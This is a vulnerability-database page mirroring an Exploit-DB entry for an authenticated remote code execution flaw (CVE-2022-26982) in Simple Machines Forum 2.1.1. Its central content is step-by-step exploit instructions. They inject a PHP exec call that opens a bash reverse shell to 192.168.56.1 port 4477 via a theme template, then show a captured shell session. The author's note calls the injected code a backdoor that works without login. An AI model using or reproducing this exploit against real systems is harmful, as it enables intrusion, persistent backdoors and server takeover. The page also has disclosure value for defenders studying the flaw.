Lucene search
K

SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution

🗓️ 25 Mar 2023 00:00:00Reported by Sarang TumneType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 151 Views

SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution CVE-2022-2698

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Vulnerability
27 Mar 202300:00
zdt
ATTACKERKB
CVE-2022-26982
5 Apr 202215:15
attackerkb
Circl
CVE-2022-26982
5 Apr 202218:27
circl
CNNVD
SimpleMachinesForum 代码注入漏洞
5 Apr 202200:00
cnnvd
CVE
CVE-2022-26982
5 Apr 202200:00
cve
Cvelist
CVE-2022-26982
5 Apr 202200:00
cvelist
NVD
CVE-2022-26982
5 Apr 202215:15
nvd
Packet Storm
SimpleMachinesForum 2.1.1 Remote Code Execution
27 Mar 202300:00
packetstorm
Prion
Code injection
5 Apr 202215:15
prion
Positive Technologies
PT-2022-18161 · Unknown · Simple Machines Forum
5 Apr 202200:00
ptsecurity
Rows per page
# Exploit Title: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution 
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 7th March 2022
# CVE ID: CVE-2022-26982
# Confirmed on release 2.1.1
# Vendor: https://download.simplemachines.org/
# Note- Once we insert the vulnerable php code, we can even execute it without any valid login as it is not required! We can use it as a backdoor!

###############################################
#Step1- Login with Admin Credentials
#Step2- Goto Admin=>Main=>Administration Center=>Configuration=>Themes and Layout=>Modify Themes=>Browse the templates and files in this theme.=>Admin.template.php
#Step3- Now add the vulnerable php reverse tcp web shell exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4477 0>&1'"); ?>
#Step4- Now Goto Add Media=>Add Resource=> Upload php web shell and click on SAVE CHANGES at the bottom of the page
#Step5- Now click on "Themes and Layout" and you will get the reverse shell:
E.g: Visit http://IP_ADDR/index.php?action=admin;area=theme;b4c2510f=bc6cde24d794569356b81afc98ede2c2 and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 41276
bash: cannot set terminal process group (1334): Inappropriate ioctl for device
bash: no job control in this shell
daemon@debian:/opt/bitnami/simplemachinesforum$ whoami
whoami
daemon
daemon@debian:/opt/bitnami/simplemachinesforum$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@debian:/opt/bitnami/simplemachinesforum$

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Mar 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 26.5
CVSS 3.17.2
EPSS0.10493
151